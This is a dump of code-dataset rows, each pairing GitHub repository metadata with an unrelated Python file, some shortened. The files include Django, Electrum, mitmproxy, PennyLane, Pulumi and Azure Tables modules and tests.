] | 4 | 2017-10-02T17:44:14.000Z | 2020-02-14T17:13:57.000Z | mig_main/admin.py | atish3/mig-website | 1bcf4c0b93078cccab6b4a25c93c29a2b5efa4be | [
"Apache-2.0"
] | 152 | 2015-01-04T00:08:44.000Z | 2022-01-13T00:43:03.000Z | mig_main/admin.py | atish3/mig-website | 1bcf4c0b93078cccab6b4a25c93c29a2b5efa4be | [
"Apache-2.0"
] | 4 | 2015-04-16T04:27:05.000Z | 2021-03-21T20:45:24.000Z | from django.contrib import admin
from mig_main.models import (
UserProfile,
OfficerPosition,
Standing,
Status,
Major,
ShirtSize,
TBPChapter,
AcademicTerm,
... | 27.318182 | 54 | 0.400998 | from django.contrib import admin
from mig_main.models import (
UserProfile,
OfficerPosition,
Standing,
Status,
Major,
ShirtSize,
TBPChapter,
AcademicTerm,
... | true | true |
f74187f73a65f8f43377f77171db07f4647744b4 | 2,755 | py | Python | faassupervisor/faas/binary/supervisor.py | tomberek/faas-supervisor | 4b7267773d8ecb715584e1a2e56aeb618a714b1c | [
"Apache-2.0"
] | null | null | null | faassupervisor/faas/binary/supervisor.py | tomberek/faas-supervisor | 4b7267773d8ecb715584e1a2e56aeb618a714b1c | [
"Apache-2.0"
] | null | null | null | faassupervisor/faas/binary/supervisor.py | tomberek/faas-supervisor | 4b7267773d8ecb715584e1a2e56aeb618a714b1c | [
"Apache-2.0"
] | null | null | null | # Copyright (C) GRyCAP - I3M - UPV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... | 43.730159 | 99 | 0.669328 |
import subprocess
import sys
from faassupervisor.faas import DefaultSupervisor
from faassupervisor.logger import get_logger
from faassupervisor.utils import SysUtils, FileUtils, StrUtils
class BinarySupervisor(DefaultSupervisor):
_SCRIPT_FILE_NAME = 'script.sh'
def __init__(self):
get_... | true | true |
f741883fa92380aa493607bb6ff8ae0231aafb4f | 5,724 | py | Python | simpleflow/log.py | David-Wobrock/simpleflow | 09f59105b48ae79aef37b506bbde0cd1f2c360d1 | [
"MIT"
] | 69 | 2015-02-24T00:49:40.000Z | 2022-02-05T02:35:04.000Z | simpleflow/log.py | David-Wobrock/simpleflow | 09f59105b48ae79aef37b506bbde0cd1f2c360d1 | [
"MIT"
] | 295 | 2015-02-06T11:02:00.000Z | 2022-03-21T11:01:34.000Z | simpleflow/log.py | David-Wobrock/simpleflow | 09f59105b48ae79aef37b506bbde0cd1f2c360d1 | [
"MIT"
] | 27 | 2015-08-31T22:14:42.000Z | 2022-02-08T07:25:01.000Z | import logging.config
import sys
from datetime import datetime
from . import logging_context, settings
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
ORANGE = "\033[38;5;214m"
END = "\033[0m"
class ColorModes(object):
AUTO = "auto"
ALWAYS = "always"
NEVER = "never"
color_mod... | 31.8 | 118 | 0.570231 | import logging.config
import sys
from datetime import datetime
from . import logging_context, settings
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
ORANGE = "\033[38;5;214m"
END = "\033[0m"
class ColorModes(object):
AUTO = "auto"
ALWAYS = "always"
NEVER = "never"
color_mod... | true | true |
f74188cf4aee2eed262a552397b43050cf014f64 | 19,156 | py | Python | tests/dataset/test_dataset.py | ANazaret/scVI | 94a4a31b48b468da63417ef191db35b8bc98fbc6 | [
"MIT"
] | 1 | 2021-11-25T16:04:15.000Z | 2021-11-25T16:04:15.000Z | tests/dataset/test_dataset.py | ANazaret/scVI | 94a4a31b48b468da63417ef191db35b8bc98fbc6 | [
"MIT"
] | null | null | null | tests/dataset/test_dataset.py | ANazaret/scVI | 94a4a31b48b468da63417ef191db35b8bc98fbc6 | [
"MIT"
] | null | null | null | from unittest import TestCase
import numpy as np
import copy
from scvi.dataset import CortexDataset, GeneExpressionDataset
from scvi.dataset.dataset import remap_categories, CellMeasurement
class TestGeneExpressionDataset(TestCase):
def test_populate_from_data(self):
data = np.ones((25, 10)) * 100
... | 41.195699 | 88 | 0.611453 | from unittest import TestCase
import numpy as np
import copy
from scvi.dataset import CortexDataset, GeneExpressionDataset
from scvi.dataset.dataset import remap_categories, CellMeasurement
class TestGeneExpressionDataset(TestCase):
def test_populate_from_data(self):
data = np.ones((25, 10)) * 100
... | true | true |
f74188f78260ec762de0025163fd477eb97cc78e | 4,892 | py | Python | examples/transfer_bo.py | zhanglei1172/bbobenchmark | 841bffdddc1320ac2676e378d20f8b176a7e6cf7 | [
"MIT"
] | 2 | 2021-09-06T02:06:22.000Z | 2021-12-09T10:46:56.000Z | examples/transfer_bo.py | zhanglei1172/bbobenchmark | 841bffdddc1320ac2676e378d20f8b176a7e6cf7 | [
"MIT"
] | null | null | null | examples/transfer_bo.py | zhanglei1172/bbobenchmark | 841bffdddc1320ac2676e378d20f8b176a7e6cf7 | [
"MIT"
] | null | null | null | import numpy as np
# import matplotlib.pyplot as plt
from xbbo.configspace.space import DenseConfiguration, DenseConfigurationSpace
from ConfigSpace.hyperparameters import UniformFloatHyperparameter
from ConfigSpace.conditions import LessThanCondition
# from xbbo.search_algorithm.transfer_tst_optimizer import SMBO
# f... | 48.435644 | 206 | 0.705233 | import numpy as np
from xbbo.configspace.space import DenseConfiguration, DenseConfigurationSpace
from ConfigSpace.hyperparameters import UniformFloatHyperparameter
from ConfigSpace.conditions import LessThanCondition
from xbbo.search_algorithm.transfer_bo_optimizer import SMBO
from xbbo.search_space.offline_hp... | true | true |
f7418907b25d66bc790315e221ebc06c7b7af295 | 4,690 | py | Python | transitfeed/gtfsobjectbase.py | aalekhpatel07/transitfeed | 490c2342c53885da23bdd18f428073e60f4d8728 | [
"Apache-2.0"
] | null | null | null | transitfeed/gtfsobjectbase.py | aalekhpatel07/transitfeed | 490c2342c53885da23bdd18f428073e60f4d8728 | [
"Apache-2.0"
] | null | null | null | transitfeed/gtfsobjectbase.py | aalekhpatel07/transitfeed | 490c2342c53885da23bdd18f428073e60f4d8728 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python2.5
# Copyright (C) 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | 38.130081 | 82 | 0.65565 |
from .gtfsfactoryuser import GtfsFactoryUser
class GtfsObjectBase(GtfsFactoryUser):
_REQUIRED_FIELD_NAMES = []
_FIELD_NAMES = _REQUIRED_FIELD_NAMES + []
_DEPRECATED_FIELD_NAMES = []
def __getitem__(self, name):
if name in self.__dict__ and self.__dic... | true | true |
f74189f651bdbece673a242ff673d651e5d4c01a | 97 | py | Python | garry/tl/custom/__init__.py | iSasuke7/Garry | ed222a2ff3f54c800145c77dc0971d9007386b50 | [
"MIT"
] | 2 | 2018-03-31T05:43:23.000Z | 2018-07-11T12:35:50.000Z | garry/tl/custom/__init__.py | iSasuke7/Garry | ed222a2ff3f54c800145c77dc0971d9007386b50 | [
"MIT"
] | 1 | 2018-03-20T21:15:47.000Z | 2018-03-20T21:15:47.000Z | telethon/tl/custom/__init__.py | elmcrest/Telethon | 526517069fadd0afbf8d1c066e68b48eef6827b8 | [
"MIT"
] | 1 | 2019-05-10T21:53:16.000Z | 2019-05-10T21:53:16.000Z | from .draft import Draft
from .dialog import Dialog
from .input_sized_file import InputSizedFile
| 24.25 | 44 | 0.845361 | from .draft import Draft
from .dialog import Dialog
from .input_sized_file import InputSizedFile
| true | true |
f7418b15c7d626aa469a0cbdb93102295faf5bf0 | 2,604 | py | Python | source_pytorch/predict.py | Femi-Tofade/Plagiarism_detector | 026164ec11415bc566f4d817dc79c9cecf06a0c0 | [
"MIT"
] | 2 | 2020-10-18T19:29:46.000Z | 2020-11-30T09:36:58.000Z | source_pytorch/predict.py | Femi-Tofade/Plagiarism_detector | 026164ec11415bc566f4d817dc79c9cecf06a0c0 | [
"MIT"
] | 1 | 2021-03-20T01:50:12.000Z | 2021-03-20T01:50:12.000Z | source_pytorch/predict.py | Femi-Tofade/Plagiarism_detector | 026164ec11415bc566f4d817dc79c9cecf06a0c0 | [
"MIT"
] | 2 | 2020-07-07T07:46:20.000Z | 2021-02-03T16:01:27.000Z | # import libraries
import os
import numpy as np
import torch
from six import BytesIO
# import model from model.py, by name
from model import BinaryClassifier
# default content type is numpy array
NP_CONTENT_TYPE = 'application/x-npy'
# Provided model load function
def model_fn(model_dir):
"""Load... | 32.55 | 111 | 0.68318 |
import os
import numpy as np
import torch
from six import BytesIO
from model import BinaryClassifier
NP_CONTENT_TYPE = 'application/x-npy'
def model_fn(model_dir):
print("Loading model.")
model_info = {}
model_info_path = os.path.join(model_dir, 'model_info.pth')
with open(m... | true | true |
f7418b2530eff6b261b52f9cc8e773ce4fad21f2 | 5,082 | py | Python | telemetry.py | datadrivenempathy/who-wrote-this-server | 586756b761759e69da37937fb67ce025ae448491 | [
"MIT"
] | 1 | 2021-05-04T19:40:58.000Z | 2021-05-04T19:40:58.000Z | telemetry.py | datadrivenempathy/who-wrote-this-server | 586756b761759e69da37937fb67ce025ae448491 | [
"MIT"
] | null | null | null | telemetry.py | datadrivenempathy/who-wrote-this-server | 586756b761759e69da37937fb67ce025ae448491 | [
"MIT"
] | null | null | null | """Utility to log usage statistics.
----
Copyright 2019 Data Driven Empathy LLC
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to us... | 37.094891 | 120 | 0.670602 | import datetime
import hashlib
import multiprocessing
import random
import time
INSERT_TEMPLATE = '''INSERT INTO actions (ipAddressHash, userAgent, page, query, timestampStr) VALUES (?, ?, ?, ?, ?)'''
def run_worker_logic(task_queue, db_connection_generator, min_wait, max_wait, use_question_mark):
if use_quest... | true | true |
f7418b80f2ed85f8dc2f285878ed575c0c38d3d4 | 9,815 | py | Python | desired_state/cli.py | benthomasson/desired-state-controller | d1c0cd1a60f885ff796e0d67a44f4802aebc2048 | [
"Apache-2.0"
] | null | null | null | desired_state/cli.py | benthomasson/desired-state-controller | d1c0cd1a60f885ff796e0d67a44f4802aebc2048 | [
"Apache-2.0"
] | null | null | null | desired_state/cli.py | benthomasson/desired-state-controller | d1c0cd1a60f885ff796e0d67a44f4802aebc2048 | [
"Apache-2.0"
] | null | null | null |
"""
Usage:
desired-state [options] control [<control-id>]
desired-state [options] monitor <current-state.yml> [<rules.yml>]
desired-state [options] from <initial-state.yml> to <new-state.yml> [<rules.yml>]
desired-state [options] update-desired-state <new-state.yml>
desired-state [options] update-... | 30.29321 | 106 | 0.675089 |
from .stream import WebsocketChannel, NullChannel
from .messages import DesiredState, ActualState, Shutdown, now
from .util import ConsoleTraceLog, check_state
from .server import ZMQServerChannel
from .client import ZMQClientChannel
from .monitor import DesiredStateMonitor
from .control import DesiredStateControl
f... | true | true |
f7418bc7f559d0fd6aca8a0d5b25c7876f9a4b1f | 1,082 | py | Python | fresh_life/urls.py | FunnyLee/Fresh_Life | e173bcb3c7d697d3768daf63308d5fae0897ec4e | [
"Apache-2.0"
] | 1 | 2019-09-06T02:17:42.000Z | 2019-09-06T02:17:42.000Z | fresh_life/urls.py | FunnyLee/Fresh_Life | e173bcb3c7d697d3768daf63308d5fae0897ec4e | [
"Apache-2.0"
] | null | null | null | fresh_life/urls.py | FunnyLee/Fresh_Life | e173bcb3c7d697d3768daf63308d5fae0897ec4e | [
"Apache-2.0"
] | null | null | null | """fresh_life URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.8/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-... | 38.642857 | 77 | 0.674677 | from django.conf.urls import include, url
from django.contrib import admin
urlpatterns = [
url(r'^admin/', include(admin.site.urls)),
url(r'^tinymce/', include('tinymce.urls')),
url(r'^user/', include('user.urls', namespace='user')),
url(r'^cart/', include('cart.urls', namespace='cart')),
ur... | true | true |
f7418c47c535bd5b860645c5e9ff66c389a099a1 | 2,073 | py | Python | src/filter_plugins/sdwan_portal_filters.py | bacastelli/nuage-metro | 015975208062077d0112a135d7b134f46605a41b | [
"Apache-2.0"
] | 8 | 2020-05-06T14:17:52.000Z | 2022-03-13T07:53:21.000Z | src/filter_plugins/sdwan_portal_filters.py | bacastelli/nuage-metro | 015975208062077d0112a135d7b134f46605a41b | [
"Apache-2.0"
] | 133 | 2020-04-24T20:05:12.000Z | 2022-03-31T15:59:16.000Z | src/filter_plugins/sdwan_portal_filters.py | bacastelli/nuage-metro | 015975208062077d0112a135d7b134f46605a41b | [
"Apache-2.0"
] | 16 | 2020-04-24T08:38:59.000Z | 2021-09-27T04:53:16.000Z | #!/usr/bin/env/python
import re
import json
# Copyright 2017 Nokia
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unl... | 34.55 | 104 | 0.717318 |
import re
import json
def string_name_value_helper(name, delimiter, string):
VALUE_RE = "\s*" + delimiter + "\s*(\S+)\s+"
scratch = re.search(name + VALUE_RE, string)
if scratch:
return scratch.group(1)
else:
return "None"
def cluster_status_to_json(string):
WSREP... | true | true |
f7418cf753d3d3b0aaf11f441ae8cd4d9ebdb609 | 9,251 | py | Python | core/imbox/parser.py | chao-lv/ok-mail-helper | 379907d6ba64a82e3dece2f8422130616e616922 | [
"MIT"
] | 9 | 2020-10-23T14:10:40.000Z | 2021-09-26T12:48:31.000Z | core/imbox/parser.py | chao-lv/ok-mail-helper | 379907d6ba64a82e3dece2f8422130616e616922 | [
"MIT"
] | null | null | null | core/imbox/parser.py | chao-lv/ok-mail-helper | 379907d6ba64a82e3dece2f8422130616e616922 | [
"MIT"
] | null | null | null | import imaplib
import re
import email
import base64
import quopri
import sys
import time
from datetime import datetime
from email.header import decode_header
from core.imbox.utils import str_encode, str_decode
import operator as op
import configparser
import os
from email import header
# 获取配置
base_dir = os.path.dirnam... | 35.041667 | 96 | 0.59626 | import imaplib
import re
import email
import base64
import quopri
import sys
import time
from datetime import datetime
from email.header import decode_header
from core.imbox.utils import str_encode, str_decode
import operator as op
import configparser
import os
from email import header
base_dir = os.path.dirname(os.p... | true | true |
f7418eacd919e700ef80bdcfc1283906196b5af8 | 157 | py | Python | practicals/week3-1/problem5.py | armgabrielyan/intro-to-python | 6a2abdab543b36c6412c8d9515d9078b93de7443 | [
"MIT"
] | null | null | null | practicals/week3-1/problem5.py | armgabrielyan/intro-to-python | 6a2abdab543b36c6412c8d9515d9078b93de7443 | [
"MIT"
] | null | null | null | practicals/week3-1/problem5.py | armgabrielyan/intro-to-python | 6a2abdab543b36c6412c8d9515d9078b93de7443 | [
"MIT"
] | null | null | null | correct_num = 5
for _ in range(10):
guess = int(input('Enter guess: '))
if correct_num == guess:
print('That was a good guess!')
break
| 17.444444 | 39 | 0.592357 | correct_num = 5
for _ in range(10):
guess = int(input('Enter guess: '))
if correct_num == guess:
print('That was a good guess!')
break
| true | true |
f7418ec150452ffb2a7205d78f5bd83615cedd39 | 28,485 | py | Python | electrum/plugin.py | ZenyattaAbosom/AbosomElectrum | 02748b0b14e37385d6e77591d122e592740222bf | [
"MIT"
] | 4 | 2020-06-27T22:43:34.000Z | 2021-04-12T02:29:30.000Z | electrum/plugin.py | ZenyattaAbosom/AbosomElectrum | 02748b0b14e37385d6e77591d122e592740222bf | [
"MIT"
] | 21 | 2020-06-20T15:02:50.000Z | 2021-04-07T10:14:59.000Z | electrum/plugin.py | ZenyattaAbosom/AbosomElectrum | 02748b0b14e37385d6e77591d122e592740222bf | [
"MIT"
] | 13 | 2020-06-28T08:13:28.000Z | 2021-12-28T00:11:56.000Z | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2015 Thomas Voegtlin
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without... | 39.507628 | 120 | 0.602282 |
import os
import pkgutil
import importlib.util
import time
import threading
import sys
from typing import (NamedTuple, Any, Union, TYPE_CHECKING, Optional, Tuple,
Dict, Iterable, List, Sequence)
import concurrent
from concurrent import futures
from .i18n import _
from .util ... | true | true |
f7418f0b52075a49fb21243f3295f02f023d4821 | 65 | py | Python | faqt/__init__.py | kapoorlab/FAQT | 2f3bc0574a350341988987ca3beb7bcf68203b6c | [
"MIT"
] | null | null | null | faqt/__init__.py | kapoorlab/FAQT | 2f3bc0574a350341988987ca3beb7bcf68203b6c | [
"MIT"
] | null | null | null | faqt/__init__.py | kapoorlab/FAQT | 2f3bc0574a350341988987ca3beb7bcf68203b6c | [
"MIT"
] | null | null | null | from .helpers import *
from .Augmentation2D import Augmentation2D | 32.5 | 42 | 0.846154 | from .helpers import *
from .Augmentation2D import Augmentation2D | true | true |
f7418f389686a44d5933df27fd85ab82723cb54b | 729 | py | Python | test/mitmproxy/addons/test_anticache.py | BitJetKit/mitmproxy | 11d266419c29ca26a4671f8170b0c36c32036389 | [
"MIT"
] | 9 | 2016-11-20T02:18:18.000Z | 2021-07-27T00:25:13.000Z | test/mitmproxy/addons/test_anticache.py | BitJetKit/mitmproxy | 11d266419c29ca26a4671f8170b0c36c32036389 | [
"MIT"
] | 1 | 2021-09-19T06:47:16.000Z | 2021-09-19T06:47:16.000Z | test/mitmproxy/addons/test_anticache.py | BitJetKit/mitmproxy | 11d266419c29ca26a4671f8170b0c36c32036389 | [
"MIT"
] | 15 | 2016-12-22T15:15:47.000Z | 2021-09-19T06:47:02.000Z | from .. import tutils, mastertest
from mitmproxy.addons import anticache
from mitmproxy import master
from mitmproxy import options
from mitmproxy import proxy
class TestAntiCache(mastertest.MasterTest):
def test_simple(self):
o = options.Options(anticache = True)
m = master.Master(o, proxy.DummyS... | 30.375 | 59 | 0.659808 | from .. import tutils, mastertest
from mitmproxy.addons import anticache
from mitmproxy import master
from mitmproxy import options
from mitmproxy import proxy
class TestAntiCache(mastertest.MasterTest):
def test_simple(self):
o = options.Options(anticache = True)
m = master.Master(o, proxy.DummyS... | true | true |
f7419075b49d2cf5e3ff7fbb8c9d41f0e94803a6 | 2,888 | py | Python | sdk/python/pulumi_azure_native/datafactory/get_integration_runtime_status.py | pulumi-bot/pulumi-azure-native | f7b9490b5211544318e455e5cceafe47b628e12c | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/datafactory/get_integration_runtime_status.py | pulumi-bot/pulumi-azure-native | f7b9490b5211544318e455e5cceafe47b628e12c | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/datafactory/get_integration_runtime_status.py | pulumi-bot/pulumi-azure-native | f7b9490b5211544318e455e5cceafe47b628e12c | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from .. import _utilities, _tables
from ... | 34.380952 | 157 | 0.677978 |
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from .. import _utilities, _tables
from . import outputs
__all__ = [
'GetIntegrationRuntimeStatusResult',
'AwaitableGetIntegrationRuntimeStatusResult',
'get_integration_runtime_status',
]
@pu... | true | true |
f741918aa1bab2e76d4efde7ecbc051a5abf7758 | 91 | py | Python | finalproject/finalapp/apps.py | hvncodes/KeepUpToDateProject | dbb4acd5d8341317bacca8642fef0057e89815c3 | [
"MIT"
] | null | null | null | finalproject/finalapp/apps.py | hvncodes/KeepUpToDateProject | dbb4acd5d8341317bacca8642fef0057e89815c3 | [
"MIT"
] | null | null | null | finalproject/finalapp/apps.py | hvncodes/KeepUpToDateProject | dbb4acd5d8341317bacca8642fef0057e89815c3 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class FinalappConfig(AppConfig):
name = 'finalapp'
| 15.166667 | 33 | 0.758242 | from django.apps import AppConfig
class FinalappConfig(AppConfig):
name = 'finalapp'
| true | true |
f741920a79ff6d3a12582de50e517a6f3b4afebb | 5,473 | py | Python | vendors/espressif/esp-idf/components/nghttp/nghttp2/gennghttpxfun.py | Yoimer/AFR_ESP32_FreeRTOS_V202007 | 6758176cbceaf4ad6c2b8236d33e4dc302fe3693 | [
"MIT"
] | 43 | 2019-12-03T19:48:53.000Z | 2021-09-05T05:34:53.000Z | vendors/espressif/esp-idf/components/nghttp/nghttp2/gennghttpxfun.py | Yoimer/AFR_ESP32_FreeRTOS_V202007 | 6758176cbceaf4ad6c2b8236d33e4dc302fe3693 | [
"MIT"
] | 59 | 2019-12-04T00:06:45.000Z | 2022-03-30T20:04:03.000Z | vendors/espressif/esp-idf/components/nghttp/nghttp2/gennghttpxfun.py | Yoimer/AFR_ESP32_FreeRTOS_V202007 | 6758176cbceaf4ad6c2b8236d33e4dc302fe3693 | [
"MIT"
] | 20 | 2019-11-29T14:51:04.000Z | 2021-07-10T22:11:16.000Z | #!/usr/bin/env python
from gentokenlookup import gentokenlookup
OPTIONS = [
"private-key-file",
"private-key-passwd-file",
"certificate-file",
"dh-param-file",
"subcert",
"backend",
"frontend",
"workers",
"http2-max-concurrent-streams",
"log-level",
"daemon",
"http2-pro... | 27.228856 | 148 | 0.640599 |
from gentokenlookup import gentokenlookup
OPTIONS = [
"private-key-file",
"private-key-passwd-file",
"certificate-file",
"dh-param-file",
"subcert",
"backend",
"frontend",
"workers",
"http2-max-concurrent-streams",
"log-level",
"daemon",
"http2-proxy",
"http2-bridg... | true | true |
f74193b317305641521ffde1df103bf390b625ff | 655 | py | Python | code/UI/OpenAPI/python-flask-server/KG2/openapi_server/controllers/entity_controller.py | rtx-travis-tester/RTX | 4936eb0d368e3b40d9cdc988cc546a1eb73d0104 | [
"MIT"
] | null | null | null | code/UI/OpenAPI/python-flask-server/KG2/openapi_server/controllers/entity_controller.py | rtx-travis-tester/RTX | 4936eb0d368e3b40d9cdc988cc546a1eb73d0104 | [
"MIT"
] | null | null | null | code/UI/OpenAPI/python-flask-server/KG2/openapi_server/controllers/entity_controller.py | rtx-travis-tester/RTX | 4936eb0d368e3b40d9cdc988cc546a1eb73d0104 | [
"MIT"
] | null | null | null | import connexion
import six
from openapi_server import util
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/../../../../../../ARAX/NodeSynonymizer")
from node_synonymizer import NodeSynonymizer
def get_entity(q): # noqa: E501
"""Obtain CURIE and synonym information about a sea... | 24.259259 | 129 | 0.709924 | import connexion
import six
from openapi_server import util
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/../../../../../../ARAX/NodeSynonymizer")
from node_synonymizer import NodeSynonymizer
def get_entity(q):
synonymizer = NodeSynonymizer()
response = synonymizer.get_... | true | true |
f741948e48d7e5c923ab69d6cfebad973ce538a4 | 989 | py | Python | app/models/message.py | CubexX/confstat-site | b4bd4eba3d6e745fd64fc935a19e3d6ceaec52f9 | [
"MIT"
] | 1 | 2019-08-30T17:16:53.000Z | 2019-08-30T17:16:53.000Z | app/models/message.py | CubexX/confstat-web | b4bd4eba3d6e745fd64fc935a19e3d6ceaec52f9 | [
"MIT"
] | null | null | null | app/models/message.py | CubexX/confstat-web | b4bd4eba3d6e745fd64fc935a19e3d6ceaec52f9 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
__author__ = 'CubexX'
from datetime import datetime
from app import db
class Message(db.Model):
__table__ = 'messages'
__timestamps__ = False
__fillable__ = ['uid', 'cid', 'date']
@staticmethod
def today_chat_count(cid):
t = datetime.today()
today = int(d... | 29.088235 | 89 | 0.571284 |
__author__ = 'CubexX'
from datetime import datetime
from app import db
class Message(db.Model):
__table__ = 'messages'
__timestamps__ = False
__fillable__ = ['uid', 'cid', 'date']
@staticmethod
def today_chat_count(cid):
t = datetime.today()
today = int(datetime(t.year, t.month... | true | true |
f741954356549c5f87da1f195a9f6b4c293e9802 | 4,603 | py | Python | trace/google/cloud/trace_v2/gapic/transports/trace_service_grpc_transport.py | shivasiddharth/google-cloud-python | 91ac0aab77a1a17a8837c49b61df2415de60d2a3 | [
"Apache-2.0"
] | null | null | null | trace/google/cloud/trace_v2/gapic/transports/trace_service_grpc_transport.py | shivasiddharth/google-cloud-python | 91ac0aab77a1a17a8837c49b61df2415de60d2a3 | [
"Apache-2.0"
] | null | null | null | trace/google/cloud/trace_v2/gapic/transports/trace_service_grpc_transport.py | shivasiddharth/google-cloud-python | 91ac0aab77a1a17a8837c49b61df2415de60d2a3 | [
"Apache-2.0"
] | 1 | 2020-11-15T11:44:36.000Z | 2020-11-15T11:44:36.000Z | # -*- coding: utf-8 -*-
#
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | 36.824 | 88 | 0.655659 |
import google.api_core.grpc_helpers
from google.cloud.trace_v2.proto import tracing_pb2_grpc
class TraceServiceGrpcTransport(object):
_OAUTH_SCOPES = (
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/trace.append",
)
def __ini... | true | true |
f741956a521284d344ae5a5f1d8f3c486e1dfa2b | 11,649 | py | Python | tests/templates/test_layers/test_particle_conserving_u2.py | rryoung98/pennylane | e17dc373c32530dfb2fdba8d90f584f314e23cc0 | [
"Apache-2.0"
] | 3 | 2021-11-08T11:46:42.000Z | 2021-12-27T10:13:38.000Z | tests/templates/test_layers/test_particle_conserving_u2.py | rryoung98/pennylane | e17dc373c32530dfb2fdba8d90f584f314e23cc0 | [
"Apache-2.0"
] | 2 | 2021-11-09T14:57:09.000Z | 2022-01-12T12:35:58.000Z | artifacts/old_dataset_versions/original_commits_v02/pennylane/pennylane#1243/before/test_particle_conserving_u2.py | MattePalte/Bugs-Quantum-Computing-Platforms | 0c1c805fd5dfce465a8955ee3faf81037023a23e | [
"MIT"
] | 1 | 2021-07-11T11:45:14.000Z | 2021-07-11T11:45:14.000Z | # Copyright 2018-2021 Xanadu Quantum Technologies Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or... | 32.268698 | 100 | 0.569062 |
import pytest
import numpy as np
import pennylane as qml
from pennylane import numpy as pnp
class TestDecomposition:
@pytest.mark.parametrize(
"layers, qubits, init_state",
[
(2, 4, np.array([1, 1, 0, 0])),
(1, 6, np.array([1, 1, 0, 0, 0, 0])),
(1,... | true | true |
f74196dee907babf5bf58068f2ed388b6ed72d1c | 3,376 | py | Python | server/db.py | 18alantom/flask_test_movr | cc6a18041b62646b2136425c43d7224922de74ef | [
"MIT"
] | null | null | null | server/db.py | 18alantom/flask_test_movr | cc6a18041b62646b2136425c43d7224922de74ef | [
"MIT"
] | null | null | null | server/db.py | 18alantom/flask_test_movr | cc6a18041b62646b2136425c43d7224922de74ef | [
"MIT"
] | null | null | null | import pymysql.cursors
from dotenv import load_dotenv
from .constants import PROD, LOCN, PRMO, PRLO, report_query, movement_query, required_cols
from .helpers import get_id, get_timestamp, insert_sql
load_dotenv()
class DBConnectionHandler:
def __init__(self, user="root", password="00000000", host="localhost", d... | 38.363636 | 108 | 0.604265 | import pymysql.cursors
from dotenv import load_dotenv
from .constants import PROD, LOCN, PRMO, PRLO, report_query, movement_query, required_cols
from .helpers import get_id, get_timestamp, insert_sql
load_dotenv()
class DBConnectionHandler:
def __init__(self, user="root", password="00000000", host="localhost", d... | true | true |
f741978f61da1e587e29f8bddb33b288a479dd7c | 3,238 | py | Python | sdk/tables/azure-data-tables/samples/sample_query_tables.py | beltr0n/azure-sdk-for-python | 2f7fb8bee881b0fc0386a0ad5385755ceedd0453 | [
"MIT"
] | 1 | 2021-04-30T04:44:41.000Z | 2021-04-30T04:44:41.000Z | sdk/tables/azure-data-tables/samples/sample_query_tables.py | beltr0n/azure-sdk-for-python | 2f7fb8bee881b0fc0386a0ad5385755ceedd0453 | [
"MIT"
] | 4 | 2019-04-17T17:57:49.000Z | 2020-04-24T21:11:22.000Z | sdk/tables/azure-data-tables/samples/sample_query_tables.py | beltr0n/azure-sdk-for-python | 2f7fb8bee881b0fc0386a0ad5385755ceedd0453 | [
"MIT"
] | 1 | 2019-04-05T18:17:43.000Z | 2019-04-05T18:17:43.000Z | # coding: utf-8
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------... | 35.977778 | 120 | 0.601915 |
import os
from dotenv import find_dotenv, load_dotenv
class QueryTables(object):
def __init__(self):
load_dotenv(find_dotenv())
self.access_key = os.getenv("TABLES_PRIMARY_STORAGE_ACCOUNT_KEY")
self.endpoint = os.getenv("TABLES_STORAGE_ENDPOINT_SUFFIX")
self.account_name ... | true | true |
f74197c97c3ac7e3fe672f9a70f35b41d66c1252 | 1,423 | py | Python | setup.py | okfde/froide-fax | f5158c5bbee985c943c9d82aadc1d7b506f047aa | [
"MIT"
] | null | null | null | setup.py | okfde/froide-fax | f5158c5bbee985c943c9d82aadc1d7b506f047aa | [
"MIT"
] | 4 | 2018-07-16T13:37:52.000Z | 2021-11-09T09:31:24.000Z | setup.py | okfde/froide-fax | f5158c5bbee985c943c9d82aadc1d7b506f047aa | [
"MIT"
